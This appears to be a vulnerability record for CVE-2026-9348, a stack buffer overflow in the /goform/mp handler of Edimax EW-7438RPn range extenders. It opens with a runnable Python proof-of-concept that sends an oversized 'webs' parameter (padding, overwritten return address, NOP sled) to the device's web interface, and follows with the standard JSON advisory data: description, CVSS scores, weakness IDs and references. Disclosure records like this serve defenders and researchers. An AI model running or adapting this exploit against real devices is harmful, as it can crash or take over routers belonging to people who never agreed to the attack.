CVE-2026-9348

import requests # CVE-2026-9348 PoC - Edimax EW-7438RPn /goform/mp Stack Buffer Overflow # Target: Edimax EW-7438RPn devices up to firmware 1.31 target_ip = "192.168.0.1" # Typical default IP target_port = 80 url = f"http://{target_ip}:{target_port}/goform/mp" # Stack overflow payload - overwrite return address with controlled value # Adjust offset based on specific firmware version padding = b"A" * 1000 # Example: overwrite EIP with 0x41414141 eip = b"\x41\x41\x41\x41" # Additional padding to reach shellcode location extra_padding = b"\x90" * 100 # Construct malicious webs parameter payload = padding + eip + extra_padding data = { "webs": payload } print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.post(url, data=data, timeout=5) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[*] Exploit sent - device may be crashed or exploited")

{"cve": {"id": "CVE-2026-9348", "sourceIdentifier": "[email protected]", "published": "2026-05-24T04:16:53.960", "lastModified": "2026-05-26T19:37:00.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Edimax EW-7438RPn up to 1.31. Affected by this vulnerability is an unknown functionality of the file /goform/mp of the component webs. The manipulation of the argument webs results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_6/6.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813890", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365311", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365311/cti", "source": "[email protected]"}]}}